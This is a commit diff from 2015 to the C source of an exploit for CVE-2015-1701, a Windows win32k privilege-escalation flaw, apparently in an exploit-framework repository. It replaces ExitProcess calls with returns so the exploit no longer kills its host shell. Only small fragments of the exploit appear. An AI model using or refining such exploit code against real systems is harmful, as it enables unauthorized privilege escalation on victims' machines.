Dont call ExitProcess because it might kill the shell

zeroSteiner · zeroSteiner · commit d73a3a4a5f37 · 2015-06-21T16:16:33.000-04:00
diff --git a/external/source/exploits/cve-2015-1701/cve-2015-1701/cve-2015-1701.c b/external/source/exploits/cve-2015-1701/cve-2015-1701/cve-2015-1701.c
@@ -424,12 +424,10 @@ void win32k_client_copy_image(LPVOID lpPayload)
 	RtlGetVersion(&osver);
 	
 	if (osver.dwBuildNumber > 7601) {
-		ExitProcess((UINT)-1);
 		return;
 	}
 
 	if (supIsProcess32bit(GetCurrentProcess())) {
-		ExitProcess((UINT)-2);
 		return;
 	}
 
@@ -444,7 +442,6 @@ void win32k_client_copy_image(LPVOID lpPayload)
 
 
 	if (g_PsLookupProcessByProcessIdPtr == NULL) {
-		ExitProcess((UINT)-3);
 		return;
 	}
 
@@ -496,7 +493,7 @@ void win32k_client_copy_image(LPVOID lpPayload)
 	if (class_atom)
 		UnregisterClass(MAKEINTATOM(class_atom), hinst);
 
-	ExitProcess(0);
+	return;
 }
 
 BOOL WINAPI DllMain(HINSTANCE hinstDLL, DWORD dwReason, LPVOID lpReserved)

Original file line number	Diff line number	Diff line change
`@@ -424,12 +424,10 @@ void win32k_client_copy_image(LPVOID lpPayload)`
`424`	`424`	`RtlGetVersion(&osver);`
`425`	`425`
`426`	`426`	`if (osver.dwBuildNumber > 7601) {`
`427`		`- ExitProcess((UINT)-1);`
`428`	`427`	`return;`
`429`	`428`	`}`
`430`	`429`
`431`	`430`	`if (supIsProcess32bit(GetCurrentProcess())) {`
`432`		`- ExitProcess((UINT)-2);`
`433`	`431`	`return;`
`434`	`432`	`}`
`435`	`433`
`@@ -444,7 +442,6 @@ void win32k_client_copy_image(LPVOID lpPayload)`
`444`	`442`
`445`	`443`
`446`	`444`	`if (g_PsLookupProcessByProcessIdPtr == NULL) {`
`447`		`- ExitProcess((UINT)-3);`
`448`	`445`	`return;`
`449`	`446`	`}`
`450`	`447`
`@@ -496,7 +493,7 @@ void win32k_client_copy_image(LPVOID lpPayload)`
`496`	`493`	`if (class_atom)`
`497`	`494`	`UnregisterClass(MAKEINTATOM(class_atom), hinst);`
`498`	`495`
`499`		`- ExitProcess(0);`
	`496`	`+ return;`
`500`	`497`	`}`
`501`	`498`
`502`	`499`	`BOOL WINAPI DllMain(HINSTANCE hinstDLL, DWORD dwReason, LPVOID lpReserved)`